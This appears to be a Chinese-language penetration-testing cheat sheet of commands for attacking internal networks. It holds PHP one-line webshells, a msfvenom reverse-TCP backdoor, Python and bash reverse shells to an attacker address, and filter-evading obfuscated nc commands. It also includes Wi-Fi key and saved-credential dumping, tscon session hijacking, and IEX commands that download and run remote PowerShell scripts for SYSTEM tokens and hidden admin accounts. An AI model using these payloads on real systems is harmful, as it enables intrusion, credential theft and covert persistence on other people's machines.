0x00前言
收集记录了一些内网渗透的命令集合,用来以后的查询
0x01 扫描
# 主机发现,生成存活主机列表
nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
# 端口发现,发现大部分常用端口
nmap -sS -T4 -Pn -oG TopTCP -iLIps.txt
nmap -sU -T4 -Pn -oN TopUDP -iL Ips.txt
nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL Ips.tx
# 端口发现,发现全部端口,但 非常慢
nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL Ips.txt
nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL Ips.txt
# 侦测服务版本
nmap -sV -T4 -Pn -oG ServiceDetect -iL Ips.txt
# 扫做系统扫描
nmap -O -T4 -Pn -oG OSDetect -iL Ips.txt
# 系统和服务检测
nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL Ips.txt ### Nmap – 躲避防火墙
# 生成随机数量的欺骗
$ nmap -D RND:10 [target]
# 僵尸网络扫描, 首先需要找到僵尸网络的IP
nmap -sI [Zombie IP] [Target IP]
# 指定源端口号
nmap --source-port 80 IP
# MAC 地址欺骗,可以生成不同主机的 MAC 地址
nmap --spoof-mac Dell/Apple/3Com IP # Nmap 进行 Web 漏洞扫描
放一张思路图
0x02 Windows信息收集
一句话木马<?php @eval($_GET['christa']);?>
或 <?php @eval($_POST['christa']);?>
,然后使用蚁剑连接。或利用msf创造后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.106 LPORT=4668 -f exe > shell.exe
或者使用python进行连接
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",4668));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
一些收集的命令
query user || qwinsta 查看当前在线用户 net user 查看本机用户 net user /domain 查看域用户 net user 用户名 密码 /add 创建用户 net user /del 删除用户 net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多 net view /domain 查看有几个域 net view \\dc 查看dc域内共享文件 netsh firewall set opmode disable 关闭Windows防火墙 net group /domain 查看域里面的组 net group "domain admins" /domain 查看域管 net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管 net group "domain controllers" /domain 域控 net time /domain net config workstation 当前登录域 - 计算机名 - 用户名 net use \\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源 systeminfo tasklist /svc tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist net localgroup administrators && whoami 查看当前是不是属于管理组 netstat -ano nltest /dclist:xx 查看域控 dsquery whoami /all 查看Mandatory Label uac级别和sid号 net sessoin 查看远程连接session(需要管理权限) net share 共享目录 cmdkey /l 查看保存登陆凭证 echo %logonserver% 查看登陆域 spn –l administrator spn记录 set 环境变量 dsquery server - 查找目录中的 AD DC/LDS 实例 dsquery user - 查找目录中的用户 dsquery computer 查询所有计算机名称windows 2003 dir /s *.exe 查找指定目录下及子目录下没隐藏文件 arp -a
使用netpass.exe获得vpn密码
下载地址运行既可以得到vpn密码
获取wifi密码
netsh wlan show profile 查询所有wifi的SSID
netsh wlan show profile WiFi-name key=clear 查询具体wifi的信息
端口转发
netsh interface portproxy show all 显示端口转发代理参数
netsh interface portproxy set v4tov4 listenaddress=192.0.0.1 listenport=3389 connectaddress=192..0.0.2 connectport=3389 将192.0.0.1的3389端口转发到192..0.0.2的3389端口(可以实现内网之间的相互通信
netsh interface portproxy delete v4tov4 listenport=3389 删除本地端口3389的端口转发配置
ssh命令方式
ssh -qTfnN -D <port> -p 22 user@host
- -D 绑定本地端口
- -p 远程服务器的端口
- -q Quiet mode ssh的诊断信息以及警告等信息被预制
- -T 禁用终端伪协议
- -f 该选项是后台执行的ssh在规定(10秒)内进行连接,如果超过该时间则ssh将退出
- -n 重定向标准输入到//dev/null中,为防止从标准输入中读入。ssh进行后台执行时必须使用该参数。该选项对于要求输入密码不起作用
- -N 不执行远程命令
利用metasploit探测内网存活ip
基于auxiliary/scanner/portscan/syn发现内网存活主机
基于auxiliary/scanner/portscan/ftpbounce发现内网存活主机
基于auxiliary/scanner/portscan/xmas发现内网存活主机
基于auxiliary/scanner/rdp/rdp_scanner发现内网存活主机
# 基于windows/gather/arp_scanner发现内网主机
meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110‐120 THREADS=20
# 基于windows/gather/enum_ad_computers
meterpreter > run windows/gather/enum_ad_computers
# 基于windows/gather/enum_computers
meterpreter > run windows/gather/enum_computers
# 基于windows/gather/enum_domain
meterpreter > run windows/gather/enum_domain
# 基于windows/gather/enum_ad_user_comments
meterpreter > run windows/gather/enum_ad_user_comments
同时还有3389无法加入用户的解决办法
使用tscon进行未授权登陆
获取用户的对应的sessionid,执行如下命令
query user
选取其中的一种,获得system权限,接着输入如下命令
tscon 2
即可以转化成所需要的会话ID
开启sys权限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
add user 并隐藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
执行下一命令
next step n s
继续执行
continue c
0x03Linux 信息收集
使用基础命令,反弹shell
bash -i >& /dev/tcp/your-ip/port 0>&1
绕过一般使用命令,以long格式转换ip地址127.0.0.1,
/???/n? -e /???/b??h 2130706433 4668 # nc -e /bin/bash 127.0.0.1 4668
在kali中使用nc.traditional而不是nc没有e参数,连接在/bin.bash后中执行
/???/?c.??????????? -e /???/b??h 2130706499 4668
根据多个'会显示一个样子的情况
# echo christa
# echo 'c'h'r'i's't'a'
# echo 'ch' 'rista'
# echo 'ch'rista''
# echo 'chr'''istia
Veil
使用Veil生成shell,在kali中使用apt-get install veil
安装veil
Veil use 1 use c/meterpreter/rev_tcp
我使用ngrok进行内网穿透将流量转换过来
使用python将文件传输出来
# python2
python -m SimpleHTTPServer port
# python3
python -m http.server port
Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
powershell是一个强大渗透工具呀,最后插一句大佬的名言
渗透测试的本质是信息收集
3389拿权限
net user test test /add
net localgroup administrators test /add
Tips:
https://github.com/3gstudent/Pentest-and-Development-Tips
Reference